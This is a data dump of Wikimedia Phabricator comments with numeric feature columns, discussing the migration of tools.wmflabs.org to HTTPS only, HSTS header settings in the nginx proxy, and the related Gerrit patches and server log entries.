479833,Make Magnus tools on tools.wmflabs.org work in HTTPS,I could set up an 'official' NFS-independent https -> http proxy on tools (tools-https-proxy.wmflabs.org) that allows you to request https://tools-https-proxy.wmflabs.org/<URL> to proxy a URL. ,,,1435058737,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-dmwtiyl3oyudqlrun4ex,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,6.0,0.0,6.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,4.03125,0.84375,I could set up an 'official' NFS-independent https -> http proxy on tools (tools-https-proxy.wmflabs.org) that allows you to request URL to proxy a URL. 
479749,Make Magnus tools on tools.wmflabs.org work in HTTPS,"I could add a proxy script on Labs, but my experience is that this does help neither speed nor reliability.",,,1435051653,,PHID-USER-hms7bpiczbwhx4dxgiqw,False,,,PHID-TASK-dmwtiyl3oyudqlrun4ex,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,9.0,5.0,14.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"I could add a proxy script on Labs, but my experience is that this does help neither speed nor reliability."
476143,Make Magnus tools on tools.wmflabs.org work in HTTPS,">>! In T102457#1372886, @valhallasw wrote:
> In that case, specifically, the issue is that http://stats.grok.se/ is not available over https.

Yep, that's a very well known issue and for that reason several Magnus tools NEED to be accessed over http.",,,1434524446,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dmwtiyl3oyudqlrun4ex,task_subcomment,,True,c3,2,True,,,-3,True,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,19.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.740740740740741,0.9259259259259259,"QUOTE
QUOTE

Yep, that's a very well known issue and for that reason several Magnus tools NEED to be accessed over http."
476141,Make Magnus tools on tools.wmflabs.org work in HTTPS,"In that case, specifically, the issue is that http://stats.grok.se/ is not available over https.",,,1434524279,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-dmwtiyl3oyudqlrun4ex,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,12.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.823529411764706,0.8235294117647058,"In that case, specifically, the issue is that URL is not available over https."
102367,Migrate tools.wmflabs.org to https only (and set HSTS),"In line with switching over everything else.

Should be fairly simple to do. ",Low,25.0,1434243254,1595004974.0,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-USER-ll6tmaogat2b5q7tnqas,False,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_description,resolved,True,c3,2,True,False,False,-3,True,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0625,0.9375,"In line with switching over everything else.

Should be fairly simple to do. "
1546450,Migrate tools.wmflabs.org to https only (and set HSTS),Announced to community: https://lists.wikimedia.org/pipermail/cloud-announce/2020-July/000304.html,,,1595006816,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,263,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.8,1.0,Announced to community: URL
1546432,Migrate tools.wmflabs.org to https only (and set HSTS),mean-time-to-implement: 5 years. Ouch. But it is done now!,,,1595004974,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,263,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6315789473684212,0.8421052631578947,mean-time-to-implement: 5 years. Ouch. But it is done now!
1546430,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 612948 **merged** by Andrew Bogott:
[operations/puppet@production] toolforge: Perform HTTPS redirects unconditionally

https://gerrit.wikimedia.org/r/612948",,,1595004682,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,263,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,5.04,0.84,"Change 612948 **merged** by Andrew Bogott:
[operations/puppet@production] toolforge: Perform HTTPS redirects unconditionally

GERRIT_URL"
1546425,Migrate tools.wmflabs.org to https only (and set HSTS),"{nav icon=file, name=Mentioned in SAL (#wikimedia-cloud), href=https://sal.toolforge.org/log/lROsXXMBj_Bg1xd3q29J} [2020-07-17T16:47:43Z] <bd808> Enabled Puppet on tools-proxy-06 following successful test (T102367)",,,1595004464,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,263,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,3.488372093023256,0.813953488372093,"{nav icon=file, name=Mentioned in SAL (#wikimedia-cloud), href=URL [2020-07-17T16:47:43Z] <bd808> Enabled Puppet on tools-proxy-06 following successful test (T102367)"
1546411,Migrate tools.wmflabs.org to https only (and set HSTS),"{nav icon=file, name=Mentioned in SAL (#wikimedia-cloud), href=https://sal.toolforge.org/log/9uSbXXMBv7KcG9M-svo0} [2020-07-17T16:29:10Z] <bd808> Disabled Puppet on tools-proxy-06 to test nginx config changes manually (T102367)",,,1595003352,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,263,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,7.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.4782608695652173,0.8260869565217391,"{nav icon=file, name=Mentioned in SAL (#wikimedia-cloud), href=URL [2020-07-17T16:29:10Z] <bd808> Disabled Puppet on tools-proxy-06 to test nginx config changes manually (T102367)"
1546403,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 612947 **merged** by Andrew Bogott:
[operations/puppet@production] toolforge: Set Strict-Transport-Security to 366 days

https://gerrit.wikimedia.org/r/612947",,,1595001971,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,263,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,7.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.233333333333333,0.8333333333333334,"Change 612947 **merged** by Andrew Bogott:
[operations/puppet@production] toolforge: Set Strict-Transport-Security to 366 days

GERRIT_URL"
1545075,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 612948 had a related patch set uploaded (by BryanDavis; owner: Bryan Davis):
[operations/puppet@production] toolforge: Perform HTTPS redirects unconditionally

https://gerrit.wikimedia.org/r/612948",,,1594845351,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,262,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,5.161290322580645,0.967741935483871,"Change 612948 had a related patch set uploaded (by BryanDavis; owner: Bryan Davis):
[operations/puppet@production] toolforge: Perform HTTPS redirects unconditionally

GERRIT_URL"
1545074,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 612947 had a related patch set uploaded (by BryanDavis; owner: Bryan Davis):
[operations/puppet@production] toolforge: Set Strict-Transport-Security to 366 days

https://gerrit.wikimedia.org/r/612947",,,1594845350,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,262,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,25.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,4.472222222222222,0.9444444444444444,"Change 612947 had a related patch set uploaded (by BryanDavis; owner: Bryan Davis):
[operations/puppet@production] toolforge: Set Strict-Transport-Security to 366 days

GERRIT_URL"
1526471,Migrate tools.wmflabs.org to https only (and set HSTS),Last step is to set HSTS to 1 year and then close this.,,,1592326655,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,258,True,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0714285714285716,0.9285714285714286,Last step is to set HSTS to 1 year and then close this.
1497305,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 593747 **merged** by Arturo Borrero Gonzalez:
[operations/puppet@production] toolforge: Increase HSTS max-age directive to one month

[[https://gerrit.wikimedia.org/r/593747]]",,,1588694944,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,252,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0285714285714285,0.7714285714285715,"Change 593747 **merged** by Arturo Borrero Gonzalez:
[operations/puppet@production] toolforge: Increase HSTS max-age directive to one month

[[GERRIT_URL]]"
1495111,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#6100529, @QEDK wrote:
> 
> I don't disagree that we should manage it at the proxy layer, I meant to ask that if a tool was supplying it's own header, then ideally the proxy should suppress supplying one.

Ah! The inverse of what my brain interpreted the original question as. Sorry about that confusion. I thought we were already doing that hiding, but upon checking the config we are not. I would agree that yes we should be for the reasons I outlined in T102367#6100515. I think the ""right"" way to do this with the current urlproxy nginx config would be to add a `proxy_hide_header Strict-Transport-Security;` directive right after the current `add_header Strict-Transport-Security ""max-age=..."";` directive.",,,1588355930,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,252,True,0.0,0.0,0.0,0.0,1.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,12.0,0.0,2.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,2.0,0.0,0.0,0.0,9.0,4.0,15.0,2.0,1.0,12.0,0.0,0.0,1.0,0.0,6.0,3.0,1.0,0.0,9.0,12.0,2.0,0.0,2.0,0.0,9.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,4.044943820224719,0.6853932584269663,"QUOTE
QUOTE
QUOTE

Ah! The inverse of what my brain interpreted the original question as. Sorry about that confusion. I thought we were already doing that hiding, but upon checking the config we are not. I would agree that yes we should be for the reasons I outlined in T102367#6100515. I think the ""right"" way to do this with the current urlproxy nginx config would be to add a CODE directive right after the current CODE directive."
1495073,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#6100515, @bd808 wrote:
>>>! In T102367#6100153, @QEDK wrote:
>> Also, is there any way for the nginx proxy to hide the header if a tool chooses to send their own?
> 
> Technically this would be possible, but in practice it would not be useful for the legacy tools.wmflabs.org proxy (the subject of this particular ticket). The reason it would not be useful is that this is a single hostname and thus subject to a single HSTS policy. If N different tools sent out N different headers that would be confusing to receiving user-agents and more so to crawlers that hit many different tools.
> 
> Even for the new $TOOL.toolforge.org scheme, controlling the HSTS header at the shared proxy layer rather than at the tool layer makes more sense. User facing TLS is managed at the shared proxy, which means the certificates and cipher suites are managed at the shared proxy. The HSTS header should continue to be manged at that level to ensure that these things all make sense when taken as a collective system.

I don't disagree that we should manage it at the proxy layer, I meant to say that if a tool was supplying it's own header, then ideally the proxy should not supply one, now that we are moving to a host-based URL naming.",,,1588352488,,PHID-USER-wel3wo6tppcxgnrthxls,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,252,True,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,6.0,0.0,8.0,11.0,0.0,2.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,15.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,9.0,11.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.3846153846153846,0.6461538461538462,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I don't disagree that we should manage it at the proxy layer, I meant to say that if a tool was supplying it's own header, then ideally the proxy should not supply one, now that we are moving to a host-based URL naming."
1495072,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#6100515, @bd808 wrote:
>>>! In T102367#6100153, @QEDK wrote:
>> Also, is there any way for the nginx proxy to hide the header if a tool chooses to send their own?
> 
> Technically this would be possible, but in practice it would not be useful for the legacy tools.wmflabs.org proxy (the subject of this particular ticket). The reason it would not be useful is that this is a single hostname and thus subject to a single HSTS policy. If N different tools sent out N different headers that would be confusing to receiving user-agents and more so to crawlers that hit many different tools.
> 
> Even for the new $TOOL.toolforge.org scheme, controlling the HSTS header at the shared proxy layer rather than at the tool layer makes more sense. User facing TLS is managed at the shared proxy, which means the certificates and cipher suites are managed at the shared proxy. The HSTS header should continue to be manged at that level to ensure that these things all make sense when taken as a collective system.

I don't disagree that we should manage it at the proxy layer, I meant to ask that if a tool was supplying it's own header, then ideally the proxy should suppress supplying one, now that we are moving to a host-based URL naming.",,,1588352459,,PHID-USER-wel3wo6tppcxgnrthxls,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,252,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,6.0,0.0,6.0,11.0,0.0,2.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,15.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,9.0,11.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,3.5076923076923077,0.6307692307692307,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I don't disagree that we should manage it at the proxy layer, I meant to ask that if a tool was supplying it's own header, then ideally the proxy should suppress supplying one, now that we are moving to a host-based URL naming."
1495071,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#6100515, @bd808 wrote:
>>>! In T102367#6100153, @QEDK wrote:
>> Also, is there any way for the nginx proxy to hide the header if a tool chooses to send their own?
> 
> Technically this would be possible, but in practice it would not be useful for the legacy tools.wmflabs.org proxy (the subject of this particular ticket). The reason it would not be useful is that this is a single hostname and thus subject to a single HSTS policy. If N different tools sent out N different headers that would be confusing to receiving user-agents and more so to crawlers that hit many different tools.
> 
> Even for the new $TOOL.toolforge.org scheme, controlling the HSTS header at the shared proxy layer rather than at the tool layer makes more sense. User facing TLS is managed at the shared proxy, which means the certificates and cipher suites are managed at the shared proxy. The HSTS header should continue to be manged at that level to ensure that these things all make sense when taken as a collective system.

I don't disagree that we should manage it at the proxy layer, I meant to ask that if a tool was supplying it's own header, then ideally the proxy should suppress supplying one.",,,1588352383,,PHID-USER-wel3wo6tppcxgnrthxls,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,252,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,6.0,10.0,0.0,2.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,17.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,10.0,10.0,12.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,3.5961538461538463,0.6346153846153846,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I don't disagree that we should manage it at the proxy layer, I meant to ask that if a tool was supplying it's own header, then ideally the proxy should suppress supplying one."
1495063,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#6100153, @QEDK wrote:
> Also, is there any way for the nginx proxy to hide the header if a tool chooses to send their own?

Technically this would be possible, but in practice it would not be useful for the legacy tools.wmflabs.org proxy (the subject of this particular ticket). The reason it would not be useful is that this is a single hostname and thus subject to a single HSTS policy. If N different tools sent out N different headers that would be confusing to receiving user-agents and more so to crawlers that hit many different tools.

Even for the new $TOOL.toolforge.org scheme, controlling the HSTS header at the shared proxy layer rather than at the tool layer makes more sense. User facing TLS is managed at the shared proxy, which means the certificates and cipher suites are managed at the shared proxy. The HSTS header should continue to be manged at that level to ensure that these things all make sense when taken as a collective system.",,,1588351726,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,252,True,1.0,0.0,0.0,2.0,1.0,10.5,3.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.5,4.5,11.5,0.0,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.5,4.0,3.0,1.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.5,18.0,1.0,2.0,0.0,1.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,1.0,0.0,0.5,0.0,1.5,0.5,8.0,5.0,8.5,2.0,2.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,1.0,11.5,2.5,0.0,0.0,0.0,1.0,0.0,2.0,1.5,0.0,1.5,1.0,0.0,0.0,4.339506172839506,0.691358024691358,"QUOTE
QUOTE

Technically this would be possible, but in practice it would not be useful for the legacy tools.wmflabs.org proxy (the subject of this particular ticket). The reason it would not be useful is that this is a single hostname and thus subject to a single HSTS policy. If N different tools sent out N different headers that would be confusing to receiving user-agents and more so to crawlers that hit many different tools.

Even for the new $TOOL.toolforge.org scheme, controlling the HSTS header at the shared proxy layer rather than at the tool layer makes more sense. User facing TLS is managed at the shared proxy, which means the certificates and cipher suites are managed at the shared proxy. The HSTS header should continue to be manged at that level to ensure that these things all make sense when taken as a collective system."
1495007,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#6064559, @bd808 wrote:
> We have left the POST loophole open for more than a year. Now that we have introduced [[https://wikitech.wikimedia.org/wiki/News/Toolforge.org|the *.toolforge.org naming scheme]] (T234617), I think we should close the POST loophole, turn up the HSTS duration, and as a side effect fix the RFC violation reported in T102367#5056919.

